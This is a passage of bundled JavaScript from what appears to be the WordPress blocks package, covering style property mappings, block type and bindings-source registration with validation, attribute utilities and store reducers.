5051 },
5052 headingColor: {
5053 value: ["elements", "heading", "color", "text"],
5054 support: ["color", "heading"]
5055 },
5056 headingBackgroundColor: {
5057 value: ["elements", "heading", "color", "background"],
5058 support: ["color", "heading"]
5059 },
5060 fontFamily: {
5061 value: ["typography", "fontFamily"],
5062 support: ["typography", "__experimentalFontFamily"],
5063 useEngine: true
5064 },
5065 fontSize: {
5066 value: ["typography", "fontSize"],
5067 support: ["typography", "fontSize"],
5068 useEngine: true
5069 },
5070 fontStyle: {
5071 value: ["typography", "fontStyle"],
5072 support: ["typography", "__experimentalFontStyle"],
5073 useEngine: true
5074 },
5075 fontWeight: {
5076 value: ["typography", "fontWeight"],
5077 support: ["typography", "__experimentalFontWeight"],
5078 useEngine: true
5079 },
5080 lineHeight: {
5081 value: ["typography", "lineHeight"],
5082 support: ["typography", "lineHeight"],
5083 useEngine: true
5084 },
5085 margin: {
5086 value: ["spacing", "margin"],
5087 support: ["spacing", "margin"],
5088 properties: {
5089 marginTop: "top",
5090 marginRight: "right",
5091 marginBottom: "bottom",
5092 marginLeft: "left"
5093 },
5094 useEngine: true
5095 },
5096 minHeight: {
5097 value: ["dimensions", "minHeight"],
5098 support: ["dimensions", "minHeight"],
5099 useEngine: true
5100 },
5101 height: {
5102 value: ["dimensions", "height"],
5103 support: ["dimensions", "height"],
5104 useEngine: true
5105 },
5106 width: {
5107 value: ["dimensions", "width"],
5108 support: ["dimensions", "width"],
5109 useEngine: true
5110 },
5111 padding: {
5112 value: ["spacing", "padding"],
5113 support: ["spacing", "padding"],
5114 properties: {
5115 paddingTop: "top",
5116 paddingRight: "right",
5117 paddingBottom: "bottom",
5118 paddingLeft: "left"
5119 },
5120 useEngine: true
5121 },
5122 textAlign: {
5123 value: ["typography", "textAlign"],
5124 support: ["typography", "textAlign"],
5125 useEngine: false
5126 },
5127 textDecoration: {
5128 value: ["typography", "textDecoration"],
5129 support: ["typography", "__experimentalTextDecoration"],
5130 useEngine: true
5131 },
5132 textTransform: {
5133 value: ["typography", "textTransform"],
5134 support: ["typography", "__experimentalTextTransform"],
5135 useEngine: true
5136 },
5137 letterSpacing: {
5138 value: ["typography", "letterSpacing"],
5139 support: ["typography", "__experimentalLetterSpacing"],
5140 useEngine: true
5141 },
5142 textIndent: {
5143 value: ["typography", "textIndent"],
5144 support: ["typography", "textIndent"],
5145 useEngine: true
5146 },
5147 writingMode: {
5148 value: ["typography", "writingMode"],
5149 support: ["typography", "__experimentalWritingMode"],
5150 useEngine: true
5151 },
5152 "--wp--style--root--padding": {
5153 value: ["spacing", "padding"],
5154 support: ["spacing", "padding"],
5155 properties: {
5156 "--wp--style--root--padding-top": "top",
5157 "--wp--style--root--padding-right": "right",
5158 "--wp--style--root--padding-bottom": "bottom",
5159 "--wp--style--root--padding-left": "left"
5160 },
5161 rootOnly: true
5162 }
5163 };
5164 var __EXPERIMENTAL_ELEMENTS = {
5165 link: "a:where(:not(.wp-element-button))",
5166 heading: "h1, h2, h3, h4, h5, h6",
5167 h1: "h1",
5168 h2: "h2",
5169 h3: "h3",
5170 h4: "h4",
5171 h5: "h5",
5172 h6: "h6",
5173 button: ".wp-element-button, .wp-block-button__link",
5174 caption: ".wp-element-caption, .wp-block-audio figcaption, .wp-block-embed figcaption, .wp-block-gallery figcaption, .wp-block-image figcaption, .wp-block-table figcaption, .wp-block-video figcaption",
5175 cite: "cite",
5176 select: "select",
5177 textInput: "textarea, input:where([type=email],[type=number],[type=password],[type=search],[type=tel],[type=text],[type=url])"
5178 };
5179 var __EXPERIMENTAL_PATHS_WITH_OVERRIDE = {
5180 "color.duotone": true,
5181 "color.gradients": true,
5182 "color.palette": true,
5183 "dimensions.aspectRatios": true,
5184 "typography.fontSizes": true,
5185 "spacing.spacingSizes": true
5186 };
5187
5188 // packages/blocks/build-module/api/registration.mjs
5189 var import_data = __toESM(require_data(), 1);
5190 var import_i18n = __toESM(require_i18n(), 1);
5191 var import_warning = __toESM(require_warning(), 1);
5192
5193 // packages/blocks/build-module/api/i18n-block.json
5194 var i18n_block_default = {
5195 title: "block title",
5196 description: "block description",
5197 keywords: ["block keyword"],
5198 styles: [
5199 {
5200 label: "block style label"
5201 }
5202 ],
5203 variations: [
5204 {
5205 title: "block variation title",
5206 description: "block variation description",
5207 keywords: ["block variation keyword"]
5208 }
5209 ]
5210 };
5211
5212 // packages/blocks/build-module/lock-unlock.mjs
5213 var import_private_apis = __toESM(require_private_apis(), 1);
5214 var { lock, unlock } = (0, import_private_apis.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
5215 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
5216 "@wordpress/blocks"
5217 );
5218
5219 // packages/blocks/build-module/api/registration.mjs
5220 function isObject(object) {
5221 return object !== null && typeof object === "object";
5222 }
5223 function unstable__bootstrapServerSideBlockDefinitions(definitions) {
5224 const { addBootstrappedBlockType: addBootstrappedBlockType2 } = unlock((0, import_data.dispatch)(store));
5225 for (const [name, blockType] of Object.entries(definitions)) {
5226 addBootstrappedBlockType2(name, blockType);
5227 }
5228 }
5229 function getBlockSettingsFromMetadata({ textdomain, ...metadata }) {
5230 const allowedFields = [
5231 "apiVersion",
5232 "title",
5233 "category",
5234 "parent",
5235 "ancestor",
5236 "icon",
5237 "description",
5238 "keywords",
5239 "attributes",
5240 "providesContext",
5241 "usesContext",
5242 "selectors",
5243 "supports",
5244 "styles",
5245 "example",
5246 "variations",
5247 "blockHooks",
5248 "allowedBlocks"
5249 ];
5250 const settings = Object.fromEntries(
5251 Object.entries(metadata).filter(
5252 ([key]) => allowedFields.includes(key)
5253 )
5254 );
5255 if (textdomain) {
5256 Object.keys(i18n_block_default).forEach((key) => {
5257 if (!settings[key]) {
5258 return;
5259 }
5260 settings[key] = translateBlockSettingUsingI18nSchema(
5261 i18n_block_default[key],
5262 settings[key],
5263 textdomain
5264 );
5265 });
5266 }
5267 return settings;
5268 }
5269 function registerBlockType(blockNameOrMetadata, settings) {
5270 const name = isObject(blockNameOrMetadata) ? blockNameOrMetadata.name : blockNameOrMetadata;
5271 if (typeof name !== "string") {
5272 (0, import_warning.default)("Block names must be strings.");
5273 return;
5274 }
5275 if (!/^[a-z][a-z0-9-]*\/[a-z][a-z0-9-]*$/.test(name)) {
5276 (0, import_warning.default)(
5277 "Block names must contain a namespace prefix, include only lowercase alphanumeric characters or dashes, and start with a letter. Example: my-plugin/my-custom-block"
5278 );
5279 return;
5280 }
5281 if ((0, import_data.select)(store).getBlockType(name)) {
5282 (0, import_warning.default)('Block "' + name + '" is already registered.');
5283 return;
5284 }
5285 const { addBootstrappedBlockType: addBootstrappedBlockType2, addUnprocessedBlockType: addUnprocessedBlockType2 } = unlock(
5286 (0, import_data.dispatch)(store)
5287 );
5288 if (isObject(blockNameOrMetadata)) {
5289 const metadata = getBlockSettingsFromMetadata(blockNameOrMetadata);
5290 addBootstrappedBlockType2(name, metadata);
5291 }
5292 addUnprocessedBlockType2(name, settings);
5293 return (0, import_data.select)(store).getBlockType(name);
5294 }
5295 function translateBlockSettingUsingI18nSchema(i18nSchema, settingValue, textdomain) {
5296 if (typeof i18nSchema === "string" && typeof settingValue === "string") {
5297 return (0, import_i18n._x)(settingValue, i18nSchema, textdomain);
5298 }
5299 if (Array.isArray(i18nSchema) && i18nSchema.length && Array.isArray(settingValue)) {
5300 return settingValue.map(
5301 (value) => translateBlockSettingUsingI18nSchema(
5302 i18nSchema[0],
5303 value,
5304 textdomain
5305 )
5306 );
5307 }
5308 if (isObject(i18nSchema) && Object.entries(i18nSchema).length && isObject(settingValue)) {
5309 return Object.keys(settingValue).reduce((accumulator, key) => {
5310 if (!i18nSchema[key]) {
5311 accumulator[key] = settingValue[key];
5312 return accumulator;
5313 }
5314 accumulator[key] = translateBlockSettingUsingI18nSchema(
5315 i18nSchema[key],
5316 settingValue[key],
5317 textdomain
5318 );
5319 return accumulator;
5320 }, {});
5321 }
5322 return settingValue;
5323 }
5324 function registerBlockCollection(namespace, { title, icon }) {
5325 (0, import_data.dispatch)(store).addBlockCollection(namespace, title, icon);
5326 }
5327 function unregisterBlockType(name) {
5328 const oldBlock = (0, import_data.select)(store).getBlockType(name);
5329 if (!oldBlock) {
5330 (0, import_warning.default)('Block "' + name + '" is not registered.');
5331 return;
5332 }
5333 (0, import_data.dispatch)(store).removeBlockTypes(name);
5334 return oldBlock;
5335 }
5336 function setFreeformContentHandlerName(blockName) {
5337 (0, import_data.dispatch)(store).setFreeformFallbackBlockName(blockName);
5338 }
5339 function getFreeformContentHandlerName() {
5340 return (0, import_data.select)(store).getFreeformFallbackBlockName();
5341 }
5342 function getGroupingBlockName() {
5343 return (0, import_data.select)(store).getGroupingBlockName();
5344 }
5345 function setUnregisteredTypeHandlerName(blockName) {
5346 (0, import_data.dispatch)(store).setUnregisteredFallbackBlockName(blockName);
5347 }
5348 function getUnregisteredTypeHandlerName() {
5349 return (0, import_data.select)(store).getUnregisteredFallbackBlockName();
5350 }
5351 function setDefaultBlockName(name) {
5352 (0, import_data.dispatch)(store).setDefaultBlockName(name);
5353 }
5354 function setGroupingBlockName(name) {
5355 (0, import_data.dispatch)(store).setGroupingBlockName(name);
5356 }
5357 function getDefaultBlockName() {
5358 return (0, import_data.select)(store).getDefaultBlockName();
5359 }
5360 function getBlockType(name) {
5361 return (0, import_data.select)(store)?.getBlockType(name);
5362 }
5363 function getBlockTypes() {
5364 return (0, import_data.select)(store).getBlockTypes();
5365 }
5366 function getBlockSupport(nameOrType, feature, defaultSupports) {
5367 return (0, import_data.select)(store).getBlockSupport(
5368 nameOrType,
5369 feature,
5370 defaultSupports
5371 );
5372 }
5373 function hasBlockSupport(nameOrType, feature, defaultSupports) {
5374 return (0, import_data.select)(store).hasBlockSupport(
5375 nameOrType,
5376 feature,
5377 defaultSupports
5378 );
5379 }
5380 function isReusableBlock(blockOrType) {
5381 return blockOrType?.name === "core/block";
5382 }
5383 function isTemplatePart(blockOrType) {
5384 return blockOrType?.name === "core/template-part";
5385 }
5386 var getChildBlockNames = (blockName) => {
5387 return (0, import_data.select)(store).getChildBlockNames(blockName);
5388 };
5389 var hasChildBlocks = (blockName) => {
5390 return (0, import_data.select)(store).hasChildBlocks(blockName);
5391 };
5392 var hasChildBlocksWithInserterSupport = (blockName) => {
5393 return (0, import_data.select)(store).hasChildBlocksWithInserterSupport(blockName);
5394 };
5395 var registerBlockStyle = (blockNames, styleVariation) => {
5396 (0, import_data.dispatch)(store).addBlockStyles(blockNames, styleVariation);
5397 };
5398 var unregisterBlockStyle = (blockName, styleVariationName) => {
5399 (0, import_data.dispatch)(store).removeBlockStyles(blockName, styleVariationName);
5400 };
5401 var getBlockVariations = (blockName, scope) => {
5402 return (0, import_data.select)(store).getBlockVariations(blockName, scope);
5403 };
5404 var registerBlockVariation = (blockName, variation) => {
5405 if (typeof variation.name !== "string") {
5406 (0, import_warning.default)("Variation names must be unique strings.");
5407 }
5408 (0, import_data.dispatch)(store).addBlockVariations(blockName, variation);
5409 };
5410 var unregisterBlockVariation = (blockName, variationName) => {
5411 (0, import_data.dispatch)(store).removeBlockVariations(blockName, variationName);
5412 };
5413 var registerBlockBindingsSource = (source) => {
5414 const {
5415 name,
5416 label,
5417 usesContext,
5418 getValues,
5419 setValues,
5420 canUserEditValue,
5421 getFieldsList
5422 } = source;
5423 const existingSource = unlock(
5424 (0, import_data.select)(store)
5425 ).getBlockBindingsSource(name);
5426 const serverProps = ["label", "usesContext"];
5427 for (const prop2 in existingSource) {
5428 if (!serverProps.includes(prop2) && existingSource[prop2]) {
5429 (0, import_warning.default)(
5430 'Block bindings source "' + name + '" is already registered.'
5431 );
5432 return;
5433 }
5434 }
5435 if (!name) {
5436 (0, import_warning.default)("Block bindings source must contain a name.");
5437 return;
5438 }
5439 if (typeof name !== "string") {
5440 (0, import_warning.default)("Block bindings source name must be a string.");
5441 return;
5442 }
5443 if (/[A-Z]+/.test(name)) {
5444 (0, import_warning.default)(
5445 "Block bindings source name must not contain uppercase characters."
5446 );
5447 return;
5448 }
5449 if (!/^[a-z0-9/-]+$/.test(name)) {
5450 (0, import_warning.default)(
5451 "Block bindings source name must contain only valid characters: lowercase characters, hyphens, or digits. Example: my-plugin/my-custom-source."
5452 );
5453 return;
5454 }
5455 if (!/^[a-z0-9-]+\/[a-z0-9-]+$/.test(name)) {
5456 (0, import_warning.default)(
5457 "Block bindings source name must contain a namespace and valid characters. Example: my-plugin/my-custom-source."
5458 );
5459 return;
5460 }
5461 if (!label && !existingSource?.label) {
5462 (0, import_warning.default)("Block bindings source must contain a label.");
5463 return;
5464 }
5465 if (label && typeof label !== "string") {
5466 (0, import_warning.default)("Block bindings source label must be a string.");
5467 return;
5468 }
5469 if (label && existingSource?.label && label !== existingSource?.label) {
5470 (0, import_warning.default)('Block bindings "' + name + '" source label was overridden.');
5471 }
5472 if (usesContext && !Array.isArray(usesContext)) {
5473 (0, import_warning.default)("Block bindings source usesContext must be an array.");
5474 return;
5475 }
5476 if (getValues && typeof getValues !== "function") {
5477 (0, import_warning.default)("Block bindings source getValues must be a function.");
5478 return;
5479 }
5480 if (setValues && typeof setValues !== "function") {
5481 (0, import_warning.default)("Block bindings source setValues must be a function.");
5482 return;
5483 }
5484 if (canUserEditValue && typeof canUserEditValue !== "function") {
5485 (0, import_warning.default)("Block bindings source canUserEditValue must be a function.");
5486 return;
5487 }
5488 if (getFieldsList && typeof getFieldsList !== "function") {
5489 (0, import_warning.default)("Block bindings source getFieldsList must be a function.");
5490 return;
5491 }
5492 return unlock((0, import_data.dispatch)(store)).addBlockBindingsSource(source);
5493 };
5494 function unregisterBlockBindingsSource(name) {
5495 const oldSource = getBlockBindingsSource(name);
5496 if (!oldSource) {
5497 (0, import_warning.default)('Block bindings source "' + name + '" is not registered.');
5498 return;
5499 }
5500 unlock((0, import_data.dispatch)(store)).removeBlockBindingsSource(name);
5501 }
5502 function getBlockBindingsSource(name) {
5503 return unlock((0, import_data.select)(store)).getBlockBindingsSource(name);
5504 }
5505 function getBlockBindingsSources() {
5506 return unlock((0, import_data.select)(store)).getAllBlockBindingsSources();
5507 }
5508
5509 // packages/blocks/build-module/api/utils.mjs
5510 k([names_default, a11y_default]);
5511 var ICON_COLORS = ["#191e23", "#f8f9f9"];
5512 function isUnmodifiedBlock(block, role) {
5513 const blockAttributes = getBlockType(block.name)?.attributes ?? {};
5514 const attributesByRole = role ? Object.entries(blockAttributes).filter(([key, definition]) => {
5515 if (role === "content" && key === "metadata") {
5516 return Object.keys(block.attributes[key]?.bindings ?? {}).length > 0;
5517 }
5518 return definition.role === role || definition.__experimentalRole === role;
5519 }) : [];
5520 const attributesToCheck = !!attributesByRole.length ? attributesByRole : Object.entries(blockAttributes);
5521 return attributesToCheck.every(([key, definition]) => {
5522 const value = block.attributes[key];
5523 if (definition.hasOwnProperty("default")) {
5524 return value === definition.default;
5525 }
5526 if (definition.type === "rich-text") {
5527 return !value?.length;
5528 }
5529 return value === void 0;
5530 });
5531 }
5532 function isUnmodifiedDefaultBlock(block, role) {
5533 return block.name === getDefaultBlockName() && isUnmodifiedBlock(block, role);
5534 }
5535 function isValidIcon(icon) {
5536 return !!icon && (typeof icon === "string" || (0, import_element.isValidElement)(icon) || typeof icon === "function" || icon instanceof import_element.Component);
5537 }
5538 function normalizeIconObject(icon) {
5539 icon = icon || BLOCK_ICON_DEFAULT;
5540 if (isValidIcon(icon)) {
5541 return { src: icon };
5542 }
5543 if ("background" in icon) {
5544 const colordBgColor = w(icon.background);
5545 const getColorContrast = (iconColor) => colordBgColor.contrast(iconColor);
5546 const maxContrast = Math.max(...ICON_COLORS.map(getColorContrast));
5547 return {
5548 ...icon,
5549 foreground: icon.foreground ? icon.foreground : ICON_COLORS.find(
5550 (iconColor) => getColorContrast(iconColor) === maxContrast
5551 ),
5552 shadowColor: colordBgColor.alpha(0.3).toRgbString()
5553 };
5554 }
5555 return icon;
5556 }
5557 function normalizeBlockType(blockTypeOrName) {
5558 if (typeof blockTypeOrName === "string") {
5559 return getBlockType(blockTypeOrName);
5560 }
5561 return blockTypeOrName;
5562 }
5563 function getBlockLabel(blockType, attributes, context = "visual") {
5564 const { __experimentalLabel: getLabel, title } = blockType;
5565 const label = getLabel && getLabel(attributes, { context });
5566 if (!label) {
5567 return title;
5568 }
5569 if (label.toPlainText) {
5570 return label.toPlainText();
5571 }
5572 return (0, import_dom.__unstableStripHTML)(label);
5573 }
5574 function getAccessibleBlockLabel(blockType, attributes, position, direction = "vertical") {
5575 const title = blockType?.title;
5576 const label = blockType ? getBlockLabel(blockType, attributes, "accessibility") : "";
5577 const hasPosition = position !== void 0;
5578 const hasLabel = label && label !== title;
5579 if (hasPosition && direction === "vertical") {
5580 if (hasLabel) {
5581 return (0, import_i18n2.sprintf)(
5582 /* translators: accessibility text. 1: The block title. 2: The block row number. 3: The block label.. */
5583 (0, import_i18n2.__)("%1$s Block. Row %2$d. %3$s"),
5584 title,
5585 position,
5586 label
5587 );
5588 }
5589 return (0, import_i18n2.sprintf)(
5590 /* translators: accessibility text. 1: The block title. 2: The block row number. */
5591 (0, import_i18n2.__)("%1$s Block. Row %2$d"),
5592 title,
5593 position
5594 );
5595 } else if (hasPosition && direction === "horizontal") {
5596 if (hasLabel) {
5597 return (0, import_i18n2.sprintf)(
5598 /* translators: accessibility text. 1: The block title. 2: The block column number. 3: The block label.. */
5599 (0, import_i18n2.__)("%1$s Block. Column %2$d. %3$s"),
5600 title,
5601 position,
5602 label
5603 );
5604 }
5605 return (0, import_i18n2.sprintf)(
5606 /* translators: accessibility text. 1: The block title. 2: The block column number. */
5607 (0, import_i18n2.__)("%1$s Block. Column %2$d"),
5608 title,
5609 position
5610 );
5611 }
5612 if (hasLabel) {
5613 return (0, import_i18n2.sprintf)(
5614 /* translators: accessibility text. 1: The block title. 2: The block label. */
5615 (0, import_i18n2.__)("%1$s Block. %2$s"),
5616 title,
5617 label
5618 );
5619 }
5620 return (0, import_i18n2.sprintf)(
5621 /* translators: accessibility text. %s: The block title. */
5622 (0, import_i18n2.__)("%s Block"),
5623 title
5624 );
5625 }
5626 function getDefault(attributeSchema) {
5627 if (attributeSchema.default !== void 0) {
5628 return attributeSchema.default;
5629 }
5630 if (attributeSchema.type === "rich-text") {
5631 return new import_rich_text.RichTextData();
5632 }
5633 }
5634 function isBlockRegistered(name) {
5635 return getBlockType(name) !== void 0;
5636 }
5637 function __experimentalSanitizeBlockAttributes(name, attributes) {
5638 const blockType = getBlockType(name);
5639 if (void 0 === blockType) {
5640 throw new Error(`Block type '${name}' is not registered.`);
5641 }
5642 return Object.entries(blockType.attributes).reduce(
5643 (accumulator, [key, schema]) => {
5644 const value = attributes[key];
5645 if (void 0 !== value) {
5646 if (schema.type === "rich-text") {
5647 if (value instanceof import_rich_text.RichTextData) {
5648 accumulator[key] = value;
5649 } else if (typeof value === "string") {
5650 accumulator[key] = import_rich_text.RichTextData.fromHTMLString(value);
5651 }
5652 } else if (schema.type === "string" && value instanceof import_rich_text.RichTextData) {
5653 accumulator[key] = value.toHTMLString();
5654 } else {
5655 accumulator[key] = value;
5656 }
5657 } else {
5658 const _default = getDefault(schema);
5659 if (void 0 !== _default) {
5660 accumulator[key] = _default;
5661 }
5662 }
5663 if (["node", "children"].indexOf(schema.source) !== -1) {
5664 if (typeof accumulator[key] === "string") {
5665 accumulator[key] = [accumulator[key]];
5666 } else if (!Array.isArray(accumulator[key])) {
5667 accumulator[key] = [];
5668 }
5669 }
5670 return accumulator;
5671 },
5672 {}
5673 );
5674 }
5675 function getBlockAttributesNamesByRole(name, role) {
5676 const attributes = getBlockType(name)?.attributes;
5677 if (!attributes) {
5678 return [];
5679 }
5680 const attributesNames = Object.keys(attributes);
5681 if (!role) {
5682 return attributesNames;
5683 }
5684 return attributesNames.filter((attributeName) => {
5685 const attribute = attributes[attributeName];
5686 if (attribute?.role === role) {
5687 return true;
5688 }
5689 if (attribute?.__experimentalRole === role) {
5690 (0, import_deprecated.default)("__experimentalRole attribute", {
5691 since: "6.7",
5692 version: "6.8",
5693 alternative: "role attribute",
5694 hint: `Check the block.json of the ${name} block.`
5695 });
5696 return true;
5697 }
5698 return false;
5699 });
5700 }
5701 var __experimentalGetBlockAttributesNamesByRole = (...args) => {
5702 (0, import_deprecated.default)("__experimentalGetBlockAttributesNamesByRole", {
5703 since: "6.7",
5704 version: "6.8",
5705 alternative: "getBlockAttributesNamesByRole"
5706 });
5707 return getBlockAttributesNamesByRole(...args);
5708 };
5709 function isContentBlock(name) {
5710 const blockType = getBlockType(name);
5711 const attributes = blockType?.attributes;
5712 const supportsContentRole = blockType?.supports?.contentRole;
5713 if (supportsContentRole) {
5714 return true;
5715 }
5716 if (!attributes) {
5717 return false;
5718 }
5719 return !!Object.keys(attributes)?.some((attributeKey) => {
5720 const attribute = attributes[attributeKey];
5721 return attribute?.role === "content" || attribute?.__experimentalRole === "content";
5722 });
5723 }
5724 function omit(object, keys) {
5725 return Object.fromEntries(
5726 Object.entries(object).filter(([key]) => !keys.includes(key))
5727 );
5728 }
5729
5730 // packages/blocks/build-module/store/reducer.mjs
5731 var DEFAULT_CATEGORIES = [
5732 { slug: "text", title: (0, import_i18n3.__)("Text") },
5733 { slug: "media", title: (0, import_i18n3.__)("Media") },
5734 { slug: "design", title: (0, import_i18n3.__)("Design") },
5735 { slug: "widgets", title: (0, import_i18n3.__)("Widgets") },
5736 { slug: "theme", title: (0, import_i18n3.__)("Theme") },
5737 { slug: "embed", title: (0, import_i18n3.__)("Embeds") },
5738 { slug: "reusable", title: (0, import_i18n3.__)("Reusable blocks") }
5739 ];
5740 function keyBlockTypesByName(types) {
5741 return types.reduce(
5742 (newBlockTypes, block) => ({
5743 ...newBlockTypes,
5744 [block.name]: block
5745 }),
5746 {}
5747 );
5748 }
5749 function getUniqueItemsByName(items) {
5750 return items.reduce((acc, currentItem) => {
5751 if (!acc.some((item) => item.name === currentItem.name)) {
5752 acc.push(currentItem);
5753 }
5754 return acc;
5755 }, []);
5756 }
5757 function bootstrappedBlockTypes(state = {}, action) {
5758 switch (action.type) {
5759 case "ADD_BOOTSTRAPPED_BLOCK_TYPE":
5760 const { name, blockType } = action;
5761 const serverDefinition = state[name];
5762 if (serverDefinition) {
5763 return state;
5764 }
5765 const newDefinition = Object.fromEntries(
5766 Object.entries(blockType).filter(
5767 ([, value]) => value !== null && value !== void 0
5768 ).map(([key, value]) => [camelCase(key), value])
5769 );
5770 newDefinition.name = name;
5771 return {
5772 ...state,
5773 [name]: newDefinition
5774 };
5775 case "REMOVE_BLOCK_TYPES":
5776 return omit(state, action.names);
5777 }
5778 return state;
5779 }
5780 function unprocessedBlockTypes(state = {}, action) {
5781 switch (action.type) {
5782 case "ADD_UNPROCESSED_BLOCK_TYPE":
5783 return {
5784 ...state,
5785 [action.name]: action.blockType
5786 };
5787 case "REMOVE_BLOCK_TYPES":
5788 return omit(state, action.names);
5789 }
5790 return state;
5791 }
5792 function blockTypes(state = {}, action) {
5793 switch (action.type) {
5794 case "ADD_BLOCK_TYPES":
5795 return {
5796 ...state,
5797 ...keyBlockTypesByName(action.blockTypes)
5798 };
5799 case "REMOVE_BLOCK_TYPES":
5800 return omit(state, action.names);
5801 }
5802 return state;
5803 }
5804 function blockStyles(state = {}, action) {
5805 switch (action.type) {
5806 case "ADD_BLOCK_TYPES":
5807 return {
5808 ...state,
5809 ...Object.fromEntries(
5810 Object.entries(
5811 keyBlockTypesByName(action.blockTypes)
5812 ).map(([name, blockType]) => [
5813 name,
5814 getUniqueItemsByName([
5815 ...(blockType.styles ?? []).map((style) => ({
5816 ...style,
5817 source: "block"
5818 })),
5819 ...(state[blockType.name] ?? []).filter(
5820 ({ source }) => "block" !== source
5821 )
5822 ])
5823 ])
5824 )
5825 };
5826 case "ADD_BLOCK_STYLES":
5827 const updatedStyles = {};
5828 action.blockNames.forEach((blockName) => {
5829 updatedStyles[blockName] = getUniqueItemsByName([
5830 ...state[blockName] ?? [],
5831 ...action.styles
5832 ]);
5833 });
5834 return { ...state, ...updatedStyles };
5835 case "REMOVE_BLOCK_STYLES":
5836 return {
5837 ...state,
5838 [action.blockName]: (state[action.blockName] ?? []).filter(
5839 (style) => action.styleNames.indexOf(style.name) === -1
5840 )
5841 };
5842 }
5843 return state;
5844 }
5845 function blockVariations(state = {}, action) {
5846 switch (action.type) {
5847 case "ADD_BLOCK_TYPES":
5848 return {
5849 ...state,
5850 ...Object.fromEntries(
5851 Object.entries(
5852 keyBlockTypesByName(action.blockTypes)
5853 ).map(([name, blockType]) => {
5854 return [
5855 name,
5856 getUniqueItemsByName([
5857 ...(blockType.variations ?? []).map(
5858 (variation) => ({
5859 ...variation,
5860 source: "block"
5861 })
5862 ),
5863 ...(state[blockType.name] ?? []).filter(
5864 ({ source }) => "block" !== source
5865 )
5866 ])
5867 ];
5868 })
5869 )
5870 };
5871 case "ADD_BLOCK_VARIATIONS":
5872 return {
5873 ...state,
5874 [action.blockName]: getUniqueItemsByName([
5875 ...state[action.blockName] ?? [],
5876 ...action.variations
5877 ])
5878 };
5879 case "REMOVE_BLOCK_VARIATIONS":
5880 return {
5881 ...state,
5882 [action.blockName]: (state[action.blockName] ?? []).filter(
5883 (variation) => action.variationNames.indexOf(variation.name) === -1
5884 )
5885 };
5886 }
5887 return state;
5888 }
5889 function createBlockNameSetterReducer(setActionType) {
5890 return (state = null, action) => {
5891 switch (action.type) {
5892 case "REMOVE_BLOCK_TYPES":
5893 if (action.names.indexOf(state) !== -1) {
5894 return null;
5895 }
5896 return state;
5897 case setActionType:
5898 return action.name || null;
5899 }
5900 return state;
5901 };
5902 }
5903 var defaultBlockName = createBlockNameSetterReducer(
5904 "SET_DEFAULT_BLOCK_NAME"
5905 );
5906 var freeformFallbackBlockName = createBlockNameSetterReducer(
5907 "SET_FREEFORM_FALLBACK_BLOCK_NAME"
5908 );
5909 var unregisteredFallbackBlockName = createBlockNameSetterReducer(
5910 "SET_UNREGISTERED_FALLBACK_BLOCK_NAME"
5911 );
5912 var groupingBlockName = createBlockNameSetterReducer(
5913 "SET_GROUPING_BLOCK_NAME"
5914 );
5915 function categories(state = DEFAULT_CATEGORIES, action) {
5916 switch (action.type) {
5917 case "SET_CATEGORIES":
5918 const uniqueCategories = /* @__PURE__ */ new Map();
5919 (action.categories || []).forEach((category) => {
5920 uniqueCategories.set(category.slug, category);
5921 });
5922 return [...uniqueCategories.values()];
5923 case "UPDATE_CATEGORY": {
5924 if (!action.category || !Object.keys(action.category).length) {
5925 return state;
5926 }
5927 const categoryToChange = state.find(
5928 ({ slug }) => slug === action.slug
5929 );
5930 if (categoryToChange) {
5931 return state.map((category) => {
5932 if (category.slug === action.slug) {
5933 return {
5934 ...category,
5935 ...action.category
5936 };
5937 }
5938 return category;
5939 });
5940 }
5941 }
5942 }
5943 return state;
5944 }
5945 function collections(state = {}, action) {
5946 switch (action.type) {
5947 case "ADD_BLOCK_COLLECTION":
5948 return {
5949 ...state,
5950 [action.namespace]: {
5951 title: action.title,
5952 icon: action.icon
5953 }
5954 };
5955 case "REMOVE_BLOCK_COLLECTION":
5956 return omit(state, action.namespace);
5957 }
5958 return state;
5959 }
5960 function getMergedUsesContext(existingUsesContext = [], newUsesContext = []) {
5961 const mergedArrays = Array.from(
5962 new Set(existingUsesContext.concat(newUsesContext))
5963 );
5964 return mergedArrays.length > 0 ? mergedArrays : void 0;
5965 }
5966 function blockBindingsSources(state = {}, action) {
5967 switch (action.type) {
5968 case "ADD_BLOCK_BINDINGS_SOURCE":
5969 return {
5970 ...state,
5971 [action.name]: {
5972 label: action.label || state[action.name]?.label,
5973 usesContext: getMergedUsesContext(
5974 state[action.name]?.usesContext,
5975 action.usesContext
5976 ),
5977 getValues: action.getValues,
5978 setValues: action.setValues,
5979 // Only set `canUserEditValue` if `setValues` is also defined.
5980 canUserEditValue: action.setValues && action.canUserEditValue,
5981 getFieldsList: action.getFieldsList
5982 }
5983 };
5984 case "REMOVE_BLOCK_BINDINGS_SOURCE":
5985 return omit(state, action.name);
5986 }
5987 return state;
5988 }
5989 var reducer_default = (0, import_data2.combineReducers)({
5990 bootstrappedBlockTypes,
5991 unprocessedBlockTypes,
5992 blockTypes,
5993 blockStyles,
5994 blockVariations,
5995 defaultBlockName,
5996 freeformFallbackBlockName,
5997 unregisteredFallbackBlockName,
5998 groupingBlockName,
5999 categories,
6000 collections,
6001 blockBindingsSources
6002 });
6003
6004 // packages/blocks/build-module/store/selectors.mjs
6005 var selectors_exports = {};
6006 __export(selectors_exports, {
6007 __experimentalHasContentRoleAttribute: () => __experimentalHasContentRoleAttribute,
6008 getActiveBlockVariation: () => getActiveBlockVariation,
6009 getBlockStyles: () => getBlockStyles,
6010 getBlockSupport: () => getBlockSupport2,
6011 getBlockType: () => getBlockType2,
6012 getBlockTypes: () => getBlockTypes2,
6013 getBlockVariations: () => getBlockVariations2,
6014 getCategories: () => getCategories,
6015 getChildBlockNames: () => getChildBlockNames2,
6016 getCollections: () => getCollections,
6017 getDefaultBlockName: () => getDefaultBlockName2,
6018 getDefaultBlockVariation: () => getDefaultBlockVariation,
6019 getFreeformFallbackBlockName: () => getFreeformFallbackBlockName,
6020 getGroupingBlockName: () => getGroupingBlockName2,
6021 getUnregisteredFallbackBlockName: () => getUnregisteredFallbackBlockName,
6022 hasBlockSupport: () => hasBlockSupport2,
6023 hasChildBlocks: () => hasChildBlocks2,
6024 hasChildBlocksWithInserterSupport: () => hasChildBlocksWithInserterSupport2,
6025 isMatchingSearchTerm: () => isMatchingSearchTerm
6026 });
6027 var import_remove_accents = __toESM(require_remove_accents(), 1);
6028 var import_data4 = __toESM(require_data(), 1);
